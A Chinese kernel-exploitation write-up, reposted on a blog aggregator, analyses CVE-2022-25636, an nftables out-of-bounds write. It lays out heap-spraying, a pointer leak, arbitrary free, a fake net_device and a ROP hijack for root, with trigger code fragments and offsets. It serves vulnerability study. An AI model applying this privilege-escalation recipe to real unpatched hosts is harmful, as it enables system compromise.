【kernel exploit】CVE-2022-25636 nftables OOB 写堆指针漏洞利用

news2024/10/7 2:30:57

影响版本:Linux 5.4-rc1~5.17-rc5。5.17-rc6 已修补。

测试版本:Linux-5.13.19 (原作者在Ubuntu 21.10 内核版本 5.13.0-30 中测试,成功率40%,由于用到 msg_msg 对象,所以只能用 5.14 以前的内核版本进行测试) exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

编译选项

CONFIG_NF_TABLES=y(对应 nf_tables_offload.c)/ CONFIG_NFT_DUP_NETDEV=ydup expression 漏洞利用)/ CONFIG_NF_DUP_NETDEV=y(漏洞模块)

CONFIG_SECURITY=y (这样 free_msg() -> security_msg_msg_free() 才会释放 msg_msg->security 指针)

CONFIG_BINFMT_MISC=y (否则启动VM时报错)

CONFIG_USER_NS=y

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.13.19.tar.xz
$ tar -xvf linux-5.13.19.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述nf_table 模块的 net/netfilter/nf_dup_netdev.c中的 nft_fwd_dup_netdev_offload() 函数由于计算分配空间与实际初始化时判断条件不一致,存在OOB write(系统必须支持包处理卸载-Network Interface Cards (NICs),但是现实中很少见),溢出写入一个 net_device 对象的地址(位于kmalloc-4k),且漏洞对象的大小可以变化(由传入的含 NFT_OFFLOAD_F_ACTION 标记的rule个数决定,可以位于 kmalloc-128kmalloc-192 等等),需要 SYS_ADMIN 权限。利用时通过 msg_msgseg 泄露 net_device kmalloc-4k 堆指针,通过覆写 msg_msg->security 指针构造任意释放,通过自带功能 ioctl(fd, SIOCGIFHWADDR, leak) 读取 net_device->dev_addr 来泄露内核基址,通过伪造 net_device->ethtool_ops->begin 函数指针劫持控制流提权

补丁:patch commit-5.4-rc1引入。

保护机制:KASLR/SMEP/SMAP/KPTI

利用总结:需两次触发漏洞,第一次是为了泄露堆地址,第2次是为了泄露内核基址并伪造 net_device 劫持控制流。提权成功率在40%左右,主要原因在于堆喷占据 net_device 对象的成功率较低。

  • (1)初始化:设置namspace、绑定到CPU0、保存现场、设置FUSE(结合setxattr() 进行堆喷,设置两种挂起方式,访问/tmp/foo/1 时根据pipe的通知来结束挂起,以释放 setxattr() 内存,访问 /tmp/foo/1 时则永久挂起永不释放);
  • (2)泄露 net_device 对象堆地址(kmalloc-4k):注意需泄露父进程和子进程2个 net_device 地址,因为父进程的 net_device 会被覆写(用于构造任意读+劫持控制流),只能利用子进程的 net_device 上的数据来泄露内核基址。(注意,泄露子进程 net_device 时需调用 clone() 创建子进程,在子进程中泄露)
    • (2-1)先喷射500个位于 kmalloc-128msg_msgsegkmalloc-4k + kmalloc-128 - msg_msg + msg_msgseg);
    • (2-2)释放第400个 msg_msgseg
    • (2-3)分配漏洞对象并触发OOB write:构造1条rule分配大小为 0x20+0x50 字节,漏洞对象位于 kmalloc-128 (0x80),则dev指针会写到0x88处,也就是越界偏移0x8(正好写入 msg_msgseg);
    • (2-4)泄露堆地址:读取 msg_msg,判断是否读取到 0xffff000000000000 类的地址。
  • (3)泄露内核基址
    • (3-1)准备好 setxattr() 堆喷数据,伪造主进程的 dev->name = "lo" / dev->dev_addr = child_net_device_addr + 0xc8(指向子线程的 net_device->netdev_ops 处,这样就能通过 ioctl(fd, SIOCGIFHWADDR, leak) 读取 net_device->dev_addr 来泄露内核基址) / dev->addr_len = 0x08 / dev->ifindex = 0x42424242 (可以通过 (if_nametoindex("lo") == 0x42424242) 来判断是否堆喷成功);
    • (3-2)构造任意释放,释放父进程的 net_device(尝试20次):
      • 先堆喷500个位于 kmalloc-192msg_msgmsg_msg->type = 0x4141414141414141);
      • 释放第400个 msg_msg
      • 分配漏洞对象并触发 OOB write:构造2条rule分配大小为 0x20+0x50+0x50 字节,位于 kmalloc-192 (0xc0),则 dev 指针会写到相邻堆块的 0x18 0x68 0xb8 (0xc0+0x48) (0xc0+0x98) (0xc0+0xc0+0x28) 处,恰好第6次溢出写会篡改相邻第3个 msg_msgmsg_msg->security 指针;
      • 释放 msg_msg 来释放 net_device(前一处溢出会篡改 msg_msg->m_type 低4字节为5,可通过判断所读数据的 m_type == 0x4141414100000005 ? 来判断是否释放的是被篡改的 msg_msg,也即判断 net_device 是否释放成功 )。
    • (3-3)堆喷伪造 net_device :注意要在子线程中调用 setxattr() 堆喷 1000 次,因为会阻塞,通过 (if_nametoindex("lo") == 0x42424242) 来判断是否堆喷成功;
    • (3-4)泄露内核基址:通过 ioctl(fd, SIOCGIFHWADDR, leak) 读取 dev->dev_addr
  • (4)劫持控制流
    • (4-1)释放 net_device:通过pipe通知 FUSE 结束阻塞,释放 setxattr() 堆喷的内存块;
    • (4-2)准备好 setxattr() 堆喷数据,布置好 ROP chain,伪造主进程的 dev->ifindex = 0x43434343 / dev->ethtool_ops / ethtool_ops->begin() (用于劫持控制流的函数指针);
    • (4-3)堆喷伪造 net_device :堆喷1000个 setxattr()通过 (if_nametoindex("lo") == 0x43434343) 来判断是否堆喷成功
    • (4-4)劫持控制流:通过调用 ioctl(fd, SIOCETHTOOL, &ifr) 来触发执行 net_device->ethtool_ops.begin()

1. 漏洞分析

1-1 漏洞发现

缘由:作者也是受了 CVE-2021-22555 的启发,决定审计一下 Netfilter 的源码。首先从协议解析部分看起,主要是从用户层获取configuration input 并进行解析的代码部分(通过 netlink socket 来获取用户输入)开始看,用户可以传入配置信息来激活netfilter中的某些decoder代码。由于syzkaller对这些代码的覆盖有限,所以很有可能发现漏洞。

可疑点:作者在 nft_fwd_dup_netdev_offload() 中看到可疑的一行,一是 ctx->num_actions 用作下标但没有边界检查;二是 ctx->num_actions 下标和访问的主体 flow->rule->action.entries 是来自不同结构的变量,二者没有联系,因为 a->b[x->y]a->b[a->c] 要更可疑。

entry = &flow->rule->action.entries[ctx->num_actions++];

1-2 漏洞分析

漏洞总结:先计算 flag=NFT_OFFLOAD_F_ACTION 的 expression 数量并分配相应大小的空间,但之后进行初始化时却对每个 expression 都调用 nft_fwd_dup_netdev_offload() 进行初始化,导致堆溢出。注意,有的 rule 例如 dup 和 fwd rule 不包含此 flag,只有 nft_immediate expression 才含有此flag,必须强制每条 dup 和 fwd rule 都包含一条 nft_immediate expression才能避免漏洞。

漏洞调用链:nft_flow_rule_create() -> nft_dup_netdev_offload() / nft_fwd_netdev_offload() (dup / fwd expression) -> nft_fwd_dup_netdev_offload() (溢出点)

struct nft_flow_rule *nft_flow_rule_create(struct net *net, const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;	// [1] 计算 flag == NFT_OFFLOAD_F_ACTION 的 expression 数量 (num_actions), dup 和 fwd expression 都不含此flag

		expr = nft_expr_next(expr);
	}
	...
	flow = nft_flow_rule_alloc(num_actions);		// [2] 分配包含 num_actions 个expression 的 rule
	...
	expr = nft_expr_first(rule);

	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);	// [3] 分配 context ctx, ctx->num_actions 初始化为0
	...
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);	// [4] 实际上对每个expression都调用offload漏洞函数(参数是ctx), 只有保证每个 dup/fwd 都包含一个 immediate 才不会溢出
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	...
}

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];// [5] 漏洞点: OOB, 没有堆边界检查, 导致 ctx->num_actions 超过 flow->rule->action.entries 数组范围, 越界写1个整数 (4或5) 和1个指针
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

漏洞

  • [1][2]nft_flow_rule_create() 计算带有 NFT_OFFLOAD_F_ACTION flag 标记的 expression数量(使用num_actions 变量来计数),并根据该数量来申请相应大小的结构体;
  • [4]:调用 offload 进行初始化时没有用 num_actions 限制循环次数,而是遍历所有 expression,也没有判断是否含有 NFT_OFFLOAD_F_ACTION flag 标记,导致调用offload次数大于之前申请的flow->rule->action.entries 数量;
  • [5]:每次调用ctx->num_actions 会加一,且ctx->num_actions[3]处初始化为0,最后ctx->num_actions 会大于flow->rule->action.entries数组范围,造成越界。

结构关系:nft_flow_rule -> flow_rule -> flow_action -> flow_action_entry

struct nft_flow_rule {	// kmalloc-32
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;			// <---- 
};

struct flow_rule {		
	struct flow_match	match;
	struct flow_action	action;			// <----
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[]; // <---- 在最上层 flow_rule 对象中的偏移为 0x20
};

struct flow_action_entry { 	// 大小 0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

漏洞触发:由于不知道如何与 nftables 交互,作者参考了 One mailing list post —— nftables table/chain 定义及安装示例,如何设置 offload flag 才能到达漏洞点(关键是这个 check 语句)。可以参考 https://www.openwall.com/lists/oss-security/2022/02/21/2,通过C语言的libmnl和libnftnl 库来使用 netfilter更方便,只要添加的rule不包含NFT_OFFLOAD_F_ACTION flag标记,就能触发OOB。只有nftnl_expr_alloc("immediate");添加的rule才有NFT_OFFLOAD_F_ACTION 标记:

for(int i = 0; i < legit_writes; i++) {// 如下添加 expr 不会越界: 每条rule都包含一条 `nft_immediate` expression
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
// 如下添加 expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

1-3. 漏洞测试

漏洞触发测试

table netdev filter_test {
  chain ingress {
    type filter hook ingress device eth0 priority 0; flags offload;
    ip daddr 192.168.0.10 tcp dport 22 drop
  }
}

有了这个例子,就可以测试是否能触发漏洞了。首先,对 flow_rule_alloc() (nft_flow_rule_alloc() -> flow_rule_alloc() 负责创建 action.entries 数组)设置一个 kprobe,来获取其参数 num_actions 的值 —— sudo kprobe-perf -F 'p:flow_rule_alloc num_actions=%di:u32',但是失败了,因为Ubuntu上是延迟加载 nftables,可以先执行 nft -a mailing_list.nft 来强制内核加载 nftables,这样才能在该函数上设置kprobe。

实际运行 nft -a mailing_list.nft 后居然触发了 kprobe,由于是在VM上测试,这说明没有网络设备和hardware offload 支持,也能触发!

$ sudo nft -f mailing_list.nft
a.nf:1:1-2: Error: Could not process rule: Operation not supported
table netdev x {
^^
$ sudo kprobe-perf 'p:flow_rule_alloc num_actions=%di:u32'
Tracing kprobe flow_rule_alloc. Ctrl-C to end.
             nft-20137   [001] .... 1573655.306178: flow_rule_alloc: (flow_rule_alloc+0x0/0x60) num_actions=1

在修改了 example 之后(加入 dup expression,将rule改为ip daddr 192.168.0.10 dup to eth0),系统还是没有崩溃

可以在创建新的命名空间 (命令 $ unshare -Urn)之后再运行 nft 命令。

打印rule:执行 nft 命令时加上 -d netlink 可以打印出传入内核的 rule。例如以下。

[ meta load protocol => reg 1 ]
[ cmp eq reg 1 0x00000008 ]
[ payload load 4b @ network header + 16 => reg 1 ]
[ cmp eq reg 1 0x0a00a8c0 ]
[ immediate reg 1 0x00000001 ]
[ dup sreg_dev 1 ]

这样一看就知道为什么没有触发漏洞了,因为CLI在dup(表示包需要复制到的目标设备)之前生成了一个 immediate expression,所以能不能生成一个不含 immediate expression 的 dup 呢?只能尝试手动构造包了。

用Go写PoC:尝试用Go来构造PoC,因为Go有很多库支持,其中就有 nftables library 。但是在手动构造rule时,发现不能设置 offload flag,只能在包构造好之后覆写消息数组上的 offload flag。最后成功触发漏洞。但是写exp时还是得用C来写,毕竟 libmnl / libnftl 库很方便

2. 漏洞利用

两处OOB write:越界写一个整数(固定为4或5)和一个指针(*dev 指向 net_device 结构体),主要关注指针写。

entry = &flow->rule->action.entries[ctx->num_actions++];
entry->id = id;		// [1] 写 4 或 5, 取决于是 fwd 还是 dup
entry->dev = dev;   // [2] array 之后的第24字节写 *dev 堆指针

漏洞对象与OOB偏移:作者测试的是5.13内核, flow_rule 结构的头部是0X20字节(不包含 entries 的部分),flow_rule.action.entries 数组中每个entry ( flow_action_entry 结构)是0X50字节,我们只关注 *dev 指针越界写,*dev 指针会被写到 flow_action_entry 结构的偏移 0x18 处(例如相邻 kmalloc-32 / kmalloc-192 的偏移24处,或者kmalloc-128的偏移8处):

  • 如果rule中没有 immediate ,则rule位于 kmalloc-32;
  • 1条rule分配大小为 0x20+0x50 字节,位于 kmalloc-128 (0x80),则dev指针会写到0x88处,也就是越界偏移0x8(泄露net_device堆地址时可以覆写位于 kmalloc-128 的 msg_msgseg);
  • 2条rule分配0x20+0x50+0x50字节,位于kmalloc-192 (0xc0),则dev指针会写到0xd8处,也就是越界偏移0x18,越界2次会写在偏移 0x18+0x50 处,以此类推(受到 CVE-2021-26708 的启发,构造任意释放时,可以溢出6次以覆写第相邻的第3个 msg_msgmsg_msg->security 指针,具体的6次 OOB write 偏移为 0x18 0x68 0xb8 (0xc0+0x48) (0xc0+0x98) (0xc0+0xc0+0x28))。

2-1 泄露 net_device 堆地址

方法:泄露两次 *dev 地址,1个在父进程泄露,1个在子进程泄露。

  • (1)堆喷大小为0x1040的 msg_msg (位于 kmalloc-4k + kmalloc-128);
  • (2)释放一个msg(会释放一个 kmalloc-128);
  • (3)分配大小也为 kmalloc-128 的漏洞对象并触发OOB,在kmalloc-128 的 msg_msgseg 偏移0x8处写入 *dev 堆指针;
  • (4)读取 msg_msg 即可泄露net_device堆地址。

2-2 泄露内核基址

方法

  • (1)堆喷位于 kmalloc-192 的 msg_msg
  • (2)释放1个作为hole;
  • (3)这次构造2个rule触发 kmalloc-192 的漏洞OOB;
  • (4)任意释放:越界在相邻堆块的偏移 0x18+0x50*5 的地方写入 *dev 指针,正好是第3个 kmalloc-192 msg_msg 的偏移0x28 处,也就是 msg_msg->security 指针,这样就能利用释放 msg_msg->security 来释放 net_device 结构体。
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
	...
	free_msg(msg); 			
	...
}

void free_msg(struct msg_msg *msg)
{
	...
	security_msg_msg_free(msg);
	...
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);		// <----------
	msg->security = NULL;
}
  • (5)利用 setxattr()+userfaultfd 堆喷伪造 net_device 对象(位于kmalloc-4k)。篡改 net_device->dev_addr 指向子进程的 net_device->netdev_ops 位置,因为netdev_ops 会初始化为loopback_ops,也即内核基址。可根据net_device->name来判断是否堆喷篡改是否成功;
    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex
  • (6)接下来只要调用 ioctl(fd, SIOCGIFHWADDR, leak) 功能读取物理地址,就可以读取到 net_device->dev_addr 指向的值来泄露内核基址。net_device 中有用的成员和对应偏移如下所示:
struct net_device {
	char                       name[16];             /*     0  0x10 */		// 修改name用于判断是否成功堆喷篡改 `net_device`
    ...
	const struct net_device_ops  * netdev_ops;       /*  0xc8   0x8 */		// 用于泄露 kernel base
	int                        ifindex;              /*  0xd0   0x4 */		// 
    ...
    const struct ethtool_ops  * ethtool_ops;         /* 0x210   0x8 */		// <-------- 用于劫持 RIP
	...
    unsigned char              addr_len;             /* 0x265   0x1 */		// 泄露内核基址时可读取的地址长度
    ...
    unsigned char *            dev_addr;             /* 0x330   0x8 */ 		// 篡改用于泄露地址(伪造后指向子线程的 `net_device->netdev_ops`处), 调用 ioctl(SIOCGIFHWADDR) 即可泄露 kernel base
    ...
}

地址泄露的调用路径:SYSCALL-ioctl -> vfs_ioctl() -> sock_ioctl() -> sock_do_ioctl() -> dev_ioctl() -> dev_get_mac_address() 读取 net_device->dev_addr mac 地址。

int dev_ioctl(struct net *net, unsigned int cmd, struct ifreq *ifr, bool *need_copyout)
{
	int ret;
	char *colon;
    ...
    switch (cmd) {
	case SIOCGIFHWADDR:			// ioctl(SIOCGIFHWADDR)
		dev_load(net, ifr->ifr_name);
		ret = dev_get_mac_address(&ifr->ifr_hwaddr, net, ifr->ifr_name);	// <---- dev_get_mac_address()
		if (colon)
			*colon = ':';
		return ret;
    ...
    }
}

int dev_get_mac_address(struct sockaddr *sa, struct net *net, char *dev_name)
{
	size_t size = sizeof(sa->sa_data);
	struct net_device *dev;
	int ret = 0;

	down_read(&dev_addr_sem);
	rcu_read_lock();

	dev = dev_get_by_name_rcu(net, dev_name);
	if (!dev) {
		ret = -ENODEV;
		goto unlock;
	}
	if (!dev->addr_len)
		memset(sa->sa_data, 0, size);
	else
		memcpy(sa->sa_data, dev->dev_addr,			// <-------- 获取 `net_device->dev_addr` 位置处的数据, 还要伪造 `net_device->addr_len` 长度值为 0x8
		       min_t(size_t, size, dev->addr_len));
	sa->sa_family = dev->type;

unlock:
	rcu_read_unlock();
	up_read(&dev_addr_sem);
	return ret;
}
EXPORT_SYMBOL(dev_get_mac_address);

2-3 劫持控制流并提权

同样的方法,使用 setxattr()+userfaultfd 堆喷伪造 net_device 对象,篡改net_device->ethtool_ops 劫持控制流,调用使用 ioctl(fd, SIOCETHTOOL, &ifr) 就会触发执行 net_device->ethtool_ops.begin() 劫持控制流,然后ROP即可。作者测试环境为 Ubuntu 21.10 内核版本 13.0-30。

结构关系:net_device -> ethtool_ops -> int (*begin)(struct net_device *)

struct net_device {
	char                       name[16];             /*     0  0x10 */		// 修改name用于判断是否成功堆喷篡改 `net_device`
    ...
	const struct net_device_ops  * netdev_ops;       /*  0xc8   0x8 */		// 用于泄露 kernel base
	int                        ifindex;              /*  0xd0   0x4 */		// 
    ...
    const struct ethtool_ops  * ethtool_ops;         /* 0x210   0x8 */		// <-------- 用于劫持 RIP
	...
    unsigned char              addr_len;             /* 0x265   0x1 */		// 泄露内核基址时可读取的地址长度
    ...
    unsigned char *            dev_addr;             /* 0x330   0x8 */ 		// 篡改用于泄露地址(伪造后指向子线程的 `net_device->netdev_ops`处), 调用 ioctl(SIOCGIFHWADDR) 即可泄露 kernel base
    ...
}

struct ethtool_ops {
    ...
    int	(*begin)(struct net_device *);		// 0xc8 待劫持的目标函数指针, $rdi 指向可控的 net_device, 使用 rdi->rsp 类型的 pivot gadget
    ...
}

调用路径:SYSCALL-ioctl -> vfs_ioctl() -> sock_ioctl() -> sock_do_ioctl() -> dev_ioctl() -> dev_ethtool() 最终调用执行 net_device->ethtool_ops.begin() 函数。

int dev_ioctl(struct net *net, unsigned int cmd, struct ifreq *ifr, bool *need_copyout)
{
	int ret;
	char *colon;
    ...
    switch (cmd) {
    ...
    case SIOCETHTOOL:
		dev_load(net, ifr->ifr_name);
		rtnl_lock();
		ret = dev_ethtool(net, ifr);	// <-----
		rtnl_unlock();
		if (colon)
			*colon = ':';
		return ret;
    ...
    }
}

int dev_ethtool(struct net *net, struct ifreq *ifr)
{
	struct net_device *dev = __dev_get_by_name(net, ifr->ifr_name);
	void __user *useraddr = ifr->ifr_data;
	u32 ethcmd, sub_cmd;
	int rc;
	netdev_features_t old_features;

	if (!dev || !netif_device_present(dev))
		return -ENODEV;

	if (copy_from_user(&ethcmd, useraddr, sizeof(ethcmd)))
		return -EFAULT;

	if (ethcmd == ETHTOOL_PERQUEUE) {
		if (copy_from_user(&sub_cmd, useraddr + sizeof(ethcmd), sizeof(sub_cmd)))	// ifreq->ifr_data
			return -EFAULT;
	} else {
		sub_cmd = ethcmd;
	}
    ...
    if (dev->ethtool_ops->begin) {
		rc = dev->ethtool_ops->begin(dev);		// 控制流劫持点
		if (rc  < 0)
			return rc;
	}
    old_features = dev->features;

	switch (ethcmd) {
	case ETHTOOL_GSET:
		rc = ethtool_get_settings(dev, useraddr);
		break;
    ...
    }
}

测试截图

请添加图片描述

3. 补充

3-1 常用命令

libfuse安装:参考 Ubuntu 18.04 LTS编译安装FUSE

# (1)方法1:直接命令行安装
$ sudo apt-get install -y libfuse-dev
# (2)方法2:源码安装
$ sudo apt-get install ninja-build meson python
# Meson预处理
$ tar zxvf libfuse-fuse-3.8.0.tar.gz
$ mv libfuse-fuse-3.8.0 libfuse
$ cd libfuse
$ mkdir build; cd build
$ meson ..
# 使用Ninja来build,test和 install libfuse
$ ninja
$ sudo python3 -m pytest test/
$ sudo apt-get install python3-pip # 安装pip3
$ pip3 install pytest   # 安装python3 的pytest模块
$ sudo ninja install	# 默认安装目录是 /usr/local/include/fuse3

# 问题: meson 版本太老 		Meson version is 0.37.1 but project requires >= 0.42.
$ sudo apt-get install python3-pip
$ pip3 install --user meson
$ meson -v
$ export PATH=~/.local/bin:$PATH
$ meson -v
# 更新 python 	https://segmentfault.com/a/1190000021967408
$ sudo apt update
$ sudo apt install software-properties-common
$ sudo add-apt-repository ppa:deadsnakes/ppa
$ sudo apt install python3.8

libmnl / libnftl 安装:参见 CVE-2022-32250

$ sudo apt-get install libcap2-bin bzip2 make pkg-config        # 安装 setcap/bzip2/make/pkg-config
$ tar   -jxvf    xx.tar.bz2
$ ./configure --prefix=/usr && make     # libmnl / libnftl
$ sudo make install

常用命令

# ssh连接与测试
$ ssh -p 10021 hi@localhost             # password: lol
$ ./exploit

# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi      # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./   # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root  hi@localhost:/home/hi

3-2 exp 编译问题

现在问题是,在文件系统中安装FUSE很困难(需要更新一系列软件,例如meson/python等),可以采用之前调试CVE-2021-41073时用到的FUSE静态库;而 libmnl / libnftl 库只能用动态版本。所以编译exp时要么全部动态编译,要么部分动态编译部分静态编译,如果在主机上编译也会有问题,gcc版本不兼容,所以传入到QEMU中执行不了。所以只能直接在QEMU上对exp进行部分动态编译+部分静态编译。

解决1-更新gcc:问题是QEMU中gcc版本是6.3.0,太老了,如何更新到gcc 9.0 以上呢?

# (1) 源码更新
$ wget https://ftp.gnu.org/gnu/gcc/gcc-9.1.0/gcc-9.1.0.tar.gz
$ tar -zxvf gcc-9.1.0.tar.gz
$ cd gcc-9.1.0
#检测和安装相关依赖包,这个过程需要耐心等待(此步骤会将依赖包下载到gcc-7.3.0目录,如果因网络原因无法完成请自行使用wget下载)
$ ./contrib/download_prerequisites
$ mkdir build
$ cd build
$ ../configure -enable-checking=release -enable-languages=c,c++ -disable-multilib
#编译过程漫长,请耐心等待
$ make -j4
$ sudo make install

# (2) apt-get 更新gcc —— 失败
$ sudo apt-get install software-properties-common 		# add-apt-repository
$ sudo add-apt-repository ppa:ubuntu-toolchain-r/test
$ sudo apt-get update
$ sudo apt-get install gcc-11

解决2-更新文件系统(自带新版本gcc):gcc更新总是失败,试着创建一个新的文件系统,采用最新的Debian 为基础(Debian 11 - bullseye,Debian 10 - buster,Debian 9 - stretch)。利用syzkaller中用到的 create-image.sh 脚本来构建,将 stretch 改为 bullseye

编译exp:libfuse 参见 CVE-2021-41073

$ sudo apt-get install -y libfuse-dev  # 不安装的话没有 -lfuse 选项
# 编译exp 				注意libmnl不支持静态编译,加 -static 就会报错; 加 -lrt 表示实时库
$ gcc -no-pie ./exploit.c ./fakefuse.c  -I/usr/include/fuse -lfuse -masm=intel -pthread -lmnl -lnftnl -o exploit

# 记录一下尝试的其他编译命令
# static libfuse $ gcc -no-pie ./exploit.c ./fakefuse.c -I./libfuse libfuse3.a -masm=intel -pthread -lmnl -lnftnl -o exploit
# dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c  -I/usr/local/include/fuse3 -lfuse -masm=intel -pthread -lmnl -lnftnl -o exploit
# dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c  -I/usr/include/fuse -lfuse -masm=intel -pthread -lmnl -lnftnl -o exploit
# half dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c -Wl,-Bstatic -I./libfuse libfuse3.a -Wl,-Bdynamic -lmnl -lnftnl -o exploit -masm=intel -lpthread
# half dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c -Wl,-Bstatic -I./libfuse libfuse3.a -masm=intel -pthread -Wl,-Bdynamic -lmnl -lnftnl -o exploit 

参考

The Discovery and Exploitation of CVE-2022-25636 —— 作者1的writeup

exploit —— 另一位作者的exp

How To Fix CVE-2022-25636- A Heap Out Of Bounds Write Vulnerability In Netfilter

https://www.openwall.com/lists/oss-security/2022/02/21/2

https://www.openwall.com/lists/oss-security/2022/02/22/1

[漏洞分析] CVE-2022-25636 netfilter内核提权

其他:

linux双机调试环境配置 —— 安装官方发布的调试符号信息

ubuntu 内核双机调试方法

双机调试Linux内核 —— 自己编译内核并安装调试符号,双机调试

GCC同时使用静态库和动态库链接 2 —— 部分动态编译部分静态编译exp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/86377.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux 下复现 Google Chrome RCE

写在前面&#xff1a;网上大多都是windows下复现的&#xff0c;不过最近我在Linux中也遇到了低版本的chrome&#xff0c;想着这也是一个点&#xff0c;但是没想到技术不够&#xff0c;没搞出来&#xff0c;还是看大佬的文档慢慢学吧。。。 目录 一.环境搭建 1.1 环境信息 1.…

GX Works3 跨网访问

需求背景 1&#xff0c;有N条产线。 2&#xff0c;每条产线是一个独立的局域网。类似于192.168.x.x 3&#xff0c;每条产线部署一台产线控制系统。采用双网卡。一张接车间网络&#xff1b;一张接产线自身的局域网。 现在的需求是&#xff1a; 需要读写任意一条产线的PLC(三…

强化学习学习资料

1、OpenAI建立的强化学习教育资源网站&#xff0c;可以让我们更轻松地学习深度强化学习。里面有很多有用的资源&#xff0c;包括&#xff1a; &#xff08;1&#xff09;强化学习基本术语、算法种类、基本理论的介绍。 &#xff08;2&#xff09;一篇关于如何成长为RL研究者的…

是一种非常的Cy类近红外荧光染料,1686147-55-6,ICG amine,本产品的ICG是临床中所使用的ICG染料的衍生物

ICG&#xff08;Indocyanine Green&#xff09;&#xff0c;是一种非常的Cy类近红外荧光染料&#xff0c;在临床中用于手术导航。ICG的体内药理学性质非常明确&#xff0c;具有良好的安全性&#xff0c;是常用近红外染料&#xff0c;被***运用于生物诊疗。ICG的荧光母核和Cy7.5…

Python中ArcPy基于矢量范围批量裁剪大量栅格遥感影像

本文介绍基于Python中ArcPy模块&#xff0c;基于矢量数据范围&#xff0c;对大量栅格遥感影像加以批量裁剪掩膜的方法。 本文所需要的代码如下所示。 # -*- coding: utf-8 -*- """ Created on Tue Dec 13 20:07:48 2022author: fkxxgis """impo…

31.前端笔记-CSS-CSS3盒子模型和其他特性

1、CSS3盒子模型 原来的CSS盒子设置了border和padding属性&#xff0c;就会撑大盒子。 现在CSS3中可以通过box-sizing来指定盒模型&#xff0c;有两个值&#xff1a; content-box&#xff1a;盒子大小是widthpaddingborderbordr-box:盒子大小就是width,padding和border不会撑…

【OpenFOAM】-olaFlow-算例2- breakwater

算例路径&#xff1a; olaFlow\tutorials\breakwater 算例描述&#xff1a; 波浪对防波堤的作用&#xff0c;堤身为孔隙可渗透结构&#xff0c;堤顶沉箱为不可渗透结构。 学习目标&#xff1a; 渗透模型、可渗结构设置、孔隙材料各项参数设置 算例快照&#xff1a; 图1 防波堤…

基于51单片机的四位数字频率计数码管显示设计

仿真原理图&#xff1a; 程序运行图&#xff1a; 部分程序&#xff1a; #include <reg52.h> #define uchar unsigned char #define uint unsigned int uchar duan[10]{0xc0,0Xf9,0xa4,0xb0,0x99,0x92,0x82,0xf8,0x80,0x90}; //所需的段的位码 //uchar wei[…

